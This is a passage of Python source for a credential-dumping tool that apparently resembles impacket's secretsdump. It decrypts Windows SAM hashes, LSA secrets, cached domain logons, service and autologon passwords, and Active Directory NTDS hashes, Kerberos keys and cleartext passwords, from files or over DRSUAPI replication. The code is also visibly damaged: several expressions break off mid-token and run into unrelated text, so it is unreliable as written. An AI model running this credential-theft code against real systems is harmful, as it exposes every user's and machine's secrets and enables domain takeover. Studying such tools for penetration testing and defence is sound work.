(userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')) self.__itemsFound[rid] = answer self.__perSecretCallback(answer) def export(self, baseFileName, openFileFunc = None): if len(self.__itemsFound) > 0: items = sorted(self.__itemsFound) fileName = baseFileName+'.sam' fd = openFile(fileName, openFileFunc=openFileFunc) for item in items: fd.write(self.__itemsFound[item]+'\n') fd.close() return fileName class LSASecrets(OfflineRegistry): UNKNOWN_USER = '(Unknown User)' class SECRET_TYPE: LSA = 0 LSA_HASHED = 1 LSA_RAW = 2 LSA_KERBEROS = 3 def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, perSecretCallback=lambda secretType, secret: _print_helper(secret)): OfflineRegistry.__init__(self, securityFile, isRemote) self.__hashedBootKey = b'' self.__bootKey = bootKey self.__LSAKey = b'' self.__NKLMKey = b'' self.__vistaStyle = True self.__cryptoCommon = CryptoCommon() self.__securityFile = securityFile self.__remoteOps = remoteOps self.__cachedItems = [] self.__secretItems = [] self.__perSecretCallback = perSecretCallback self.__history = history def MD5(self, data): md5 = hashlib.new('md5') md5.update(data) return md5.digest() def __sha256(self, key, value, rounds=1000): sha = hashlib.sha256() sha.update(key) for i in range(1000): sha.update(value) return sha.digest() def __decryptSecret(self, key, value): # [MS-LSAD] Section 5.1.2 plainText = '' encryptedSecretSize = unpack(' 0: return data + (data & 0x3) else: return data def dumpCachedHashes(self): if self.__securityFile is None: # No SECURITY file provided return LOG.info('Dumping cached domain logon information (domain/username:hash)') # Let's first see if there are cached entries values = self.enumValues('\\Cache') if values is None: # No cache entries return try: # Remove unnecessary value values.remove(b'NL$Control') except: pass iterationCount = 10240 if b'NL$IterationCount' in values: values.remove(b'NL$IterationCount') record = self.getValue('\\Cache\\NL$IterationCount')[1] if record > 10240: iterationCount = record & 0xfffffc00 else: iterationCount = record * 1024 self.__getLSASecretKey() self.__getNLKMSecret() for value in values: LOG.debug('Looking into %s' % value.decode('utf-8')) record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) if record['IV'] != 16 * b'\x00': #if record['UserLength'] > 0: if record['Flags'] & 1 == 1: # Encrypted if self.__vistaStyle is True: plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) else: plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) pass else: # Plain! Until we figure out what this is, we skip it #plainText = record['EncryptedData'] continue encHash = plainText[:0x10] plainText = plainText[0x48:] userName = plainText[:record['UserLength']].decode('utf-16le') plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):] domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') if self.__vistaStyle is True: answer = "%s/%s:$DCC2$%s#%s#%s" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8')) else: answer = "%s/%s:%s:%s" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName) self.__cachedItems.append(answer) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) def __printSecret(self, name, secretItem): # Based on [MS-LSAD] section 3.1.1.4 # First off, let's discard NULL secrets. if len(secretItem) == 0: LOG.debug('Discarding secret %s, NULL Data' % name) return # We might have secrets with zero if secretItem.startswith(b'\x00\x00'): LOG.debug('Discarding secret %s, all zeros' % name) return upperName = name.upper() LOG.info('%s ' % name) secret = '' if upperName.startswith('_SC_'): # Service name, a password might be there # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account the service # runs under if hasattr(self.__remoteOps, 'getServiceAccount'): account = self.__remoteOps.getServiceAccount(name[4:]) if account is None: secret = self.UNKNOWN_USER + ':' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = self.UNKNOWN_USER + ':' secret += strDecoded elif upperName.startswith('DEFAULTPASSWORD'): # defaults password for winlogon # Let's first try to decode the secret try: strDecoded = secretItem.decode('utf-16le') except: pass else: # We have to get the account this password is for if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): account = self.__remoteOps.getDefaultLoginAccount() if account is None: secret = self.UNKNOWN_USER + ':' else: secret = "%s:" % account else: # We don't support getting this info for local targets at the moment secret = self.UNKNOWN_USER + ':' secret += strDecoded elif upperName.startswith('ASPNET_WP_PASSWORD'): try: strDecoded = secretItem.decode('utf-16le') except: pass else: secret = 'ASPNET: %s' % strDecoded elif upperName.startswith('DPAPI_SYSTEM'): # Decode the DPAPI Secrets dpapi = DPAPI_SYSTEM(secretItem) secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'), hexlify(dpapi['UserKey']).decode('latin-1')) elif upperName.startswith('$MACHINE.ACC'): # compute MD4 of the secret.. yes.. that is the nthash? :-o md4 = MD4.new() md4.update(secretItem) if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): machine, domain = self.__remoteOps.getMachineNameAndDomain() printname = "%s\\%s$" % (domain, machine) secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), hexlify(md4.digest()).decode('utf-8')) else: printname = "$MACHINE.ACC" secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), hexlify(md4.digest()).decode('utf-8')) # Attempt to calculate and print Kerberos keys if not self.__printMachineKerberos(secretItem, printname): LOG.debug('Could not calculate machine account Kerberos keys, printing plain password (hex encoded)') extrasecret = "$MACHINE.ACC:plain_password_hex:%s" % hexlify(secretItem).decode('utf-8') self.__secretItems.append(extrasecret) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) if secret != '': printableSecret = secret self.__secretItems.append(secret) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) else: # Default print, hexdump printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8')) self.__secretItems.append(printableSecret) # If we're using the default callback (ourselves), we print the hex representation. If not, the # user will need to decide what to do. if self.__module__ == self.__perSecretCallback.__module__: if LOG.level <40 : hexdump(secretItem) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) def __printMachineKerberos(self, rawsecret, machinename): # Attempt to create Kerberos keys from machine account (if possible) if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): salt = self.__remoteOps.getMachineKerberosSalt() if salt == b'': return False else: allciphers = [ int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.des_cbc_md5.value) ] # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount # of invalid unicode characters. # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft # implicitly replaces those when converting utf-16 to utf-8. # When we use the same method we get the valid password -> key mapping :) rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') for etype in allciphers: try: key = string_to_key(etype, rawsecret, salt, None) except Exception: LOG.debug('Exception', exc_info=True) raise typename = NTDSHashes.KERBEROS_TYPE[etype] secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8')) self.__secretItems.append(secret) self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret) return True else: return False def dumpSecrets(self): if self.__securityFile is None: # No SECURITY file provided return LOG.info('Dumping LSA Secrets') # Let's first see if there are cached entries keys = self.enumKey('\\Policy\\Secrets') if keys is None: # No entries return try: # Remove unnecessary value keys.remove(b'NL$Control') except: pass if self.__LSAKey == b'': self.__getLSASecretKey() for key in keys: LOG.debug('Looking into %s' % key) valueTypeList = ['CurrVal'] # Check if old LSA secrets values are also need to be shown if self.__history: valueTypeList.append('OldVal') for valueType in valueTypeList: value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) if value is not None and value[1] != 0: if self.__vistaStyle is True: record = LSA_SECRET(value[1]) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: secret = self.__decryptSecret(self.__LSAKey, value[1]) # If this is an OldVal secret, let's append '_history' to be able to distinguish it and # also be consistent with NTDS history if valueType == 'OldVal': key += '_history' self.__printSecret(key, secret) def exportSecrets(self, baseFileName, openFileFunc = None): if len(self.__secretItems) > 0: fileName = baseFileName+'.secrets' fd = openFile(fileName, openFileFunc=openFileFunc) for item in self.__secretItems: fd.write(item+'\n') fd.close() return fileName def exportCached(self, baseFileName, openFileFunc = None): if len(self.__cachedItems) > 0: fileName = baseFileName+'.cached' fd = openFile(fileName, openFileFunc=openFileFunc) for item in self.__cachedItems: fd.write(item+'\n') fd.close() return fileName class ResumeSessionMgrInFile(object): def __init__(self, resumeFileName=None): self.__resumeFileName = resumeFileName self.__resumeFile = None self.__hasResumeData = resumeFileName is not None def hasResumeData(self): return self.__hasResumeData def clearResumeData(self): self.endTransaction() if self.__resumeFileName and os.path.isfile(self.__resumeFileName): os.remove(self.__resumeFileName) def writeResumeData(self, data): # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that self.__resumeFile.seek(0, 0) self.__resumeFile.truncate(0) self.__resumeFile.write(data.encode()) self.__resumeFile.flush() def getResumeData(self): try: self.__resumeFile = open(self.__resumeFileName,'rb') except Exception as e: raise Exception('Cannot open resume session file name %s' % str(e)) resumeSid = self.__resumeFile.read() self.__resumeFile.close() # Truncate and reopen the file as wb+ self.__resumeFile = open(self.__resumeFileName,'wb+') return resumeSid.decode('utf-8') def getFileName(self): return self.__resumeFileName def beginTransaction(self): if not self.__resumeFileName: self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8)) LOG.debug('Session resume file will be %s' % self.__resumeFileName) if not self.__resumeFile: try: self.__resumeFile = open(self.__resumeFileName, 'wb+') except Exception as e: raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) def endTransaction(self): if self.__resumeFile: self.__resumeFile.close() self.__resumeFile = None class NTDSHashes: class SECRET_TYPE: NTDS = 0 NTDS_CLEARTEXT = 1 NTDS_KERBEROS = 2 NAME_TO_INTERNAL = { 'uSNCreated':b'ATTq131091', 'uSNChanged':b'ATTq131192', 'name':b'ATTm3', 'objectGUID':b'ATTk589826', 'objectSid':b'ATTr589970', 'userAccountControl':b'ATTj589832', 'primaryGroupID':b'ATTj589922', 'accountExpires':b'ATTq589983', 'logonCount':b'ATTj589993', 'sAMAccountName':b'ATTm590045', 'sAMAccountType':b'ATTj590126', 'lastLogonTimestamp':b'ATTq589876', 'userPrincipalName':b'ATTm590480', 'unicodePwd':b'ATTk589914', 'dBCSPwd':b'ATTk589879', 'ntPwdHistory':b'ATTk589918', 'lmPwdHistory':b'ATTk589984', 'pekList':b'ATTk590689', 'supplementalCredentials':b'ATTk589949', 'pwdLastSet':b'ATTq589920', } NAME_TO_ATTRTYP = { 'userPrincipalName': 0x90290, 'sAMAccountName': 0x900DD, 'unicodePwd': 0x9005A, 'dBCSPwd': 0x90037, 'ntPwdHistory': 0x9005E, 'lmPwdHistory': 0x900A0, 'supplementalCredentials': 0x9007D, 'objectSid': 0x90092, 'userAccountControl':0x90008, } ATTRTYP_TO_ATTID = { 'userPrincipalName': '1.2.840.113556.1.4.656', 'sAMAccountName': '1.2.840.113556.1.4.221', 'unicodePwd': '1.2.840.113556.1.4.90', 'dBCSPwd': '1.2.840.113556.1.4.55', 'ntPwdHistory': '1.2.840.113556.1.4.94', 'lmPwdHistory': '1.2.840.113556.1.4.160', 'supplementalCredentials': '1.2.840.113556.1.4.125', 'objectSid': '1.2.840.113556.1.4.146', 'pwdLastSet': '1.2.840.113556.1.4.96', 'userAccountControl':'1.2.840.113556.1.4.8', } KERBEROS_TYPE = { 1:'dec-cbc-crc', 3:'des-cbc-md5', 17:'aes128-cts-hmac-sha1-96', 18:'aes256-cts-hmac-sha1-96', 0xffffff74:'rc4_hmac', } INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items()) SAM_NORMAL_USER_ACCOUNT = 0x30000000 SAM_MACHINE_ACCOUNT = 0x30000001 SAM_TRUST_ACCOUNT = 0x30000002 ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) class PEKLIST_ENC(Structure): structure = ( ('Header','8s=b""'), ('KeyMaterial','16s=b""'), ('EncryptedPek',':'), ) class PEKLIST_PLAIN(Structure): structure = ( ('Header','32s=b""'), ('DecryptedPek',':'), ) class PEK_KEY(Structure): structure = ( ('Header','1s=b""'), ('Padding','3s=b""'), ('Key','16s=b""'), ) class CRYPTED_HASH(Structure): structure = ( ('Header','8s=b""'), ('KeyMaterial','16s=b""'), ('EncryptedHash','16s=b""'), ) class CRYPTED_HASHW16(Structure): structure = ( ('Header','8s=b""'), ('KeyMaterial','16s=b""'), ('Unknown',' 24: if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) if cipherText['Header'][:4] == b'\x13\x00\x00\x00': # Win2016 TP4 decryption is different pekIndex = hexlify(cipherText['Header']) plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], cipherText['EncryptedHash'][4:], cipherText['KeyMaterial']) haveInfo = True else: plainText = self.__removeRC4Layer(cipherText) haveInfo = True else: domain = None userName = None replyVersion = 'V%d' % record['pdwOutVersion'] for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: try: attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) LOOKUP_TABLE = self.ATTRTYP_TO_ATTID except Exception as e: LOG.debug('Failed to execute OidFromAttid with error %s' % e) LOG.debug('Exception', exc_info=True) # Fallbacking to fixed table and hope for the best attId = attr['attrTyp'] LOOKUP_TABLE = self.NAME_TO_ATTRTYP if attId == LOOKUP_TABLE['userPrincipalName']: if attr['AttrVal']['valCount'] > 0: try: domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] except: domain = None else: domain = None elif attId == LOOKUP_TABLE['sAMAccountName']: if attr['AttrVal']['valCount'] > 0: try: userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') except: LOG.error( 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' else: LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' if attId == LOOKUP_TABLE['supplementalCredentials']: if attr['AttrVal']['valCount'] > 0: blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) if len(plainText) > 24: haveInfo = True if domain is not None: userName = '%s\\%s' % (domain, userName) if haveInfo is True: try: userProperties = samr.USER_PROPERTIES(plainText) except: # On some old w2k3 there might be user properties that don't # match [MS-SAMR] structure, discarding them return propertiesData = userProperties['UserProperties'] for propertyCount in range(userProperties['PropertyCount']): userProperty = samr.USER_PROPERTY(propertiesData) propertiesData = propertiesData[len(userProperty):] # For now, we will only process Newer Kerberos Keys and CLEARTEXT if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': propertyValueBuffer = unhexlify(userProperty['PropertyValue']) kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) data = kerbStoredCredentialNew['Buffer'] for credential in range(kerbStoredCredentialNew['CredentialCount']): keyDataNew = samr.KERB_KEY_DATA_NEW(data) data = data[len(keyDataNew):] keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] if keyDataNew['KeyType'] in self.KERBEROS_TYPE: answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8')) else: answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8')) # We're just storing the keys, not printing them, to make the output more readable # This is kind of ugly... but it's what I came up with tonight to get an ordered # set :P. Better ideas welcomed ;) self.__kerberosKeys[answer] = None if keysFile is not None: self.__writeOutput(keysFile, answer + '\n') elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. try: answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) except UnicodeDecodeError: # This could be because we're decoding a machine password. Printing it hex answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8')) self.__clearTextPwds[answer] = None if clearTextFile is not None: self.__writeOutput(clearTextFile, answer + '\n') if clearTextFile is not None: clearTextFile.flush() if keysFile is not None: keysFile.flush() LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') def __decryptHash(self, record, prefixTable=None, outputFile=None): LOG.debug('Entering NTDSHashes.__decryptHash') if self.__useVSSMethod is True: LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) rid = sid.formatCanonical().split('-')[-1] if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00': # Win2016 TP4 decryption is different encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) pekIndex = hexlify(encryptedLMHash['Header']) tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedLMHash['EncryptedHash'][:16], encryptedLMHash['KeyMaterial']) else: tmpLMHash = self.__removeRC4Layer(encryptedLMHash) LMHash = self.__removeDESLayer(tmpLMHash, rid) else: LMHash = ntlm.LMOWFv1('', '') if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None: encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00': # Win2016 TP4 decryption is different encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']])) pekIndex = hexlify(encryptedNTHash['Header']) tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHash['EncryptedHash'][:16], encryptedNTHash['KeyMaterial']) else: tmpNTHash = self.__removeRC4Layer(encryptedNTHash) NTHash = self.__removeDESLayer(tmpNTHash, rid) else: NTHash = ntlm.NTOWFv1('', '') if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) else: userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] if self.__printUserStatus is True: # Enabled / disabled users if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None: if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1': userAccountStatus = 'Disabled' elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0': userAccountStatus = 'Enabled' else: userAccountStatus = 'N/A' if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None: pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']]) else: pwdLastSet = 'N/A' answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) if self.__pwdLastSet is True: answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) if self.__printUserStatus is True: answer = "%s (status=%s)" % (answer, userAccountStatus) self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if self.__history: LMHistory = [] NTHistory = [] if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None: encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']])) tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory) for i in range(0, len(tmpLMHistory) // 16): LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) LMHistory.append(LMHash) if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None: encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00': # Win2016 TP4 decryption is different encryptedNTHistory = self.CRYPTED_HASHW16( unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']])) pekIndex = hexlify(encryptedNTHistory['Header']) tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], encryptedNTHistory['EncryptedHash'], encryptedNTHistory['KeyMaterial']) else: tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory) for i in range(0, len(tmpNTHistory) // 16): NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) NTHistory.append(NTHash) for i, (LMHash, NTHash) in enumerate( map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = hexlify(ntlm.LMOWFv1('', '')) else: lmhash = hexlify(LMHash) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), hexlify(NTHash).decode('utf-8')) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) else: replyVersion = 'V%d' %record['pdwOutVersion'] LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) domain = None if self.__history: LMHistory = [] NTHistory = [] rid = unpack(' 0: encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd) LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) else: LMHash = ntlm.LMOWFv1('', '') elif attId == LOOKUP_TABLE['unicodePwd']: if attr['AttrVal']['valCount'] > 0: encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd) NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) else: NTHash = ntlm.NTOWFv1('', '') elif attId == LOOKUP_TABLE['userPrincipalName']: if attr['AttrVal']['valCount'] > 0: try: domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] except: domain = None else: domain = None elif attId == LOOKUP_TABLE['sAMAccountName']: if attr['AttrVal']['valCount'] > 0: try: userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') except: LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' else: LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) userName = 'unknown' elif attId == LOOKUP_TABLE['objectSid']: if attr['AttrVal']['valCount'] > 0: objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) else: LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) objectSid = rid elif attId == LOOKUP_TABLE['pwdLastSet']: if attr['AttrVal']['valCount'] > 0: try: pwdLastSet = self.__fileTimeToDateTime(unpack(' 0: if (unpack(' 0: encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory) for i in range(0, len(tmpLMHistory) // 16): LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid) LMHistory.append(LMHashHistory) else: LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) elif attId == LOOKUP_TABLE['ntPwdHistory']: if attr['AttrVal']['valCount'] > 0: encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory) for i in range(0, len(tmpNTHistory) // 16): NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid) NTHistory.append(NTHashHistory) else: LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) if domain is not None: userName = '%s\\%s' % (domain, userName) answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8')) if self.__pwdLastSet is True: answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) if self.__printUserStatus is True: answer = "%s (status=%s)" % (answer, userAccountStatus) self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if self.__history: for i, (LMHashHistory, NTHashHistory) in enumerate( map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])): if self.__noLMHash: lmhash = hexlify(ntlm.LMOWFv1('', '')) else: lmhash = hexlify(LMHashHistory) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'), hexlify(NTHashHistory).decode('utf-8')) self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') if outputFile is not None: outputFile.flush() LOG.debug('Leaving NTDSHashes.__decryptHash') def dump(self): hashesOutputFile = None keysOutputFile = None clearTextOutputFile = None if self.__useVSSMethod is True: if self.__NTDS is None: # No NTDS.dit file provided and were asked to use VSS return else: if self.__NTDS is None: # DRSUAPI method, checking whether target is a DC try: if self.__remoteOps is not None: try: self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) except: if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: # RemoteOperations failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work pass else: raise else: raise Exception('No remote Operations available') except Exception as e: LOG.debug('Exiting NTDSHashes.dump() because %s' % e) # Target's not a DC return try: # Let's check if we need to save results in a file if self.__outputFileName is not None: LOG.debug('Saving output to %s' % self.__outputFileName) # We have to export. Are we resuming a session? if self.__resumeSession.hasResumeData(): mode = 'a+' else: mode = 'w+' hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode) if self.__justNTLM is False: keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode) clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode) LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)') if self.__useVSSMethod: # We start getting rows from the table aiming at reaching # the pekList. If we find users records we stored them # in a temp list for later process. self.__getPek() if self.__PEK is not None: LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS) # First of all, if we have users already cached, let's decrypt their hashes for record in self.__tmpUsers: try: self.__decryptHash(record, outputFile=hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) except Exception as e: LOG.debug('Exception', exc_info=True) try: LOG.error( "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) LOG.error(str(e)) pass except: LOG.error("Error while processing row!") LOG.error(str(e)) pass # Now let's keep moving through the NTDS file and decrypting what we find while True: try: record = self.__ESEDB.getNextRow(self.__cursor) except: LOG.error('Error while calling getNextRow(), trying the next one') continue if record is None: break try: if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES: self.__decryptHash(record, outputFile=hashesOutputFile) if self.__justNTLM is False: self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile) except Exception as e: LOG.debug('Exception', exc_info=True) try: LOG.error( "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']]) LOG.error(str(e)) pass except: LOG.error("Error while processing row!") LOG.error(str(e)) pass else: LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets') status = STATUS_MORE_ENTRIES enumerationContext = 0 # Do we have to resume from a previously saved session? if self.__resumeSession.hasResumeData(): resumeSid = self.__resumeSession.getResumeData() LOG.info('Resuming from SID %s, be patient' % resumeSid) else: resumeSid = None # We do not create a resume file when asking for a single user if self.__justUser is None: self.__resumeSession.beginTransaction() if self.__justUser is not None: # Depending on the input received, we need to change the formatOffered before calling # DRSCrackNames. # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE # That's because we don't specify the domain for the user (and there might be duplicates) # Always remember that if you specify a domain, you should specify the NetBIOS domain name, # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: self.__justUser = self.__justUser.replace('/','\\') formatOffered = 